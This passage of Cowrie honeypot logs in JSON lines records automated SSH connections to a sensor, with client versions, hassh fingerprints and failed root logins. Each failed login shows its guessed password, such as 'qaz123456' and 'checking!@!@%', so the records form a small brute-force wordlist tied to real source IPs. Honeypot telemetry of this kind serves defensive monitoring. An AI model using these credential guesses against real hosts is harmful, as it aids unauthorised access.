com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:57.124217Z","src_ip":"43.153.39.191","session":"15216cb2f155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanya","message":"login attempt [root/tanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:57.425589Z","src_ip":"43.153.39.191","session":"15216cb2f155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:58.497250Z","src_ip":"43.153.39.191","session":"15216cb2f155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":43120,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c24c4605c74","protocol":"ssh","message":"New connection: 43.130.16.4:43120 (159.203.135.109:22) [session: 2c24c4605c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:58.879669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:58.884084Z","src_ip":"43.130.16.4","session":"2c24c4605c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:58.953486Z","src_ip":"43.130.16.4","session":"2c24c4605c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marino","message":"login attempt [root/marino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:59.263581Z","src_ip":"43.130.16.4","session":"2c24c4605c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:00.335074Z","src_ip":"43.130.16.4","session":"2c24c4605c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":59166,"dst_ip":"159.203.135.109","dst_port":22,"session":"522152d5f8ca","protocol":"ssh","message":"New connection: 152.32.150.26:59166 (159.203.135.109:22) [session: 522152d5f8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:01.522344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:01.527654Z","src_ip":"152.32.150.26","session":"522152d5f8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:01.761621Z","src_ip":"152.32.150.26","session":"522152d5f8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"136060","message":"login attempt [root/136060] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:01.795170Z","src_ip":"152.32.150.26","session":"522152d5f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56180,"dst_ip":"10.17.0.5","dst_port":22,"session":"67e788105fd0","protocol":"ssh","message":"New connection: 103.27.238.114:56180 (10.17.0.5:22) [session: 67e788105fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:02.040642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:02.045676Z","src_ip":"103.27.238.114","session":"67e788105fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:02.313956Z","src_ip":"103.27.238.114","session":"67e788105fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:02.809658Z","src_ip":"152.32.150.26","session":"522152d5f8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123456","message":"login attempt [root/qaz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:03.109360Z","src_ip":"103.27.238.114","session":"67e788105fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:04.376884Z","src_ip":"103.27.238.114","session":"67e788105fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.163026332855225,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:24.728328Z","src_ip":"192.119.13.58","session":"6408107b3494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":60088,"dst_ip":"159.203.135.109","dst_port":22,"session":"139400b3775d","protocol":"ssh","message":"New connection: 38.253.239.21:60088 (159.203.135.109:22) [session: 139400b3775d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:30.645697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:30.650717Z","src_ip":"38.253.239.21","session":"139400b3775d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:30.878519Z","src_ip":"38.253.239.21","session":"139400b3775d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caonima","message":"login attempt [root/caonima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:31.820500Z","src_ip":"38.253.239.21","session":"139400b3775d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:33.050266Z","src_ip":"38.253.239.21","session":"139400b3775d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":42972,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b5805275610","protocol":"ssh","message":"New connection: 103.195.236.96:42972 (10.17.0.5:22) [session: 8b5805275610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:33.841201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:33.845951Z","src_ip":"103.195.236.96","session":"8b5805275610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:34.084301Z","src_ip":"103.195.236.96","session":"8b5805275610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10191984a","message":"login attempt [root/10191984a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:34.802475Z","src_ip":"103.195.236.96","session":"8b5805275610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:36.043458Z","src_ip":"103.195.236.96","session":"8b5805275610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":58162,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4c8a5c11997","protocol":"ssh","message":"New connection: 43.173.89.56:58162 (159.203.135.109:22) [session: b4c8a5c11997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:44.894429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:44.899375Z","src_ip":"43.173.89.56","session":"b4c8a5c11997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:44.967433Z","src_ip":"43.173.89.56","session":"b4c8a5c11997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanya","message":"login attempt [root/tanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:45.269893Z","src_ip":"43.173.89.56","session":"b4c8a5c11997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:46.340875Z","src_ip":"43.173.89.56","session":"b4c8a5c11997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":49304,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e255851d927","protocol":"ssh","message":"New connection: 103.98.149.87:49304 (10.17.0.5:22) [session: 2e255851d927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:49.022163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:49.128579Z","src_ip":"103.98.149.87","session":"2e255851d927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:49.365004Z","src_ip":"103.98.149.87","session":"2e255851d927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!!","message":"login attempt [root/123456!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:50.430928Z","src_ip":"103.98.149.87","session":"2e255851d927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:51.666408Z","src_ip":"103.98.149.87","session":"2e255851d927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45374,"dst_ip":"10.17.0.5","dst_port":22,"session":"64370f0454ec","protocol":"ssh","message":"New connection: 194.113.233.25:45374 (10.17.0.5:22) [session: 64370f0454ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:56.963659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:56.967279Z","src_ip":"194.113.233.25","session":"64370f0454ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:57.060126Z","src_ip":"194.113.233.25","session":"64370f0454ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:57.339994Z","src_ip":"194.113.233.25","session":"64370f0454ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:58.435769Z","src_ip":"194.113.233.25","session":"64370f0454ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41878,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e9072c3e52a","protocol":"ssh","message":"New connection: 2.57.122.238:41878 (159.203.135.109:22) [session: 9e9072c3e52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:59.436376Z"}
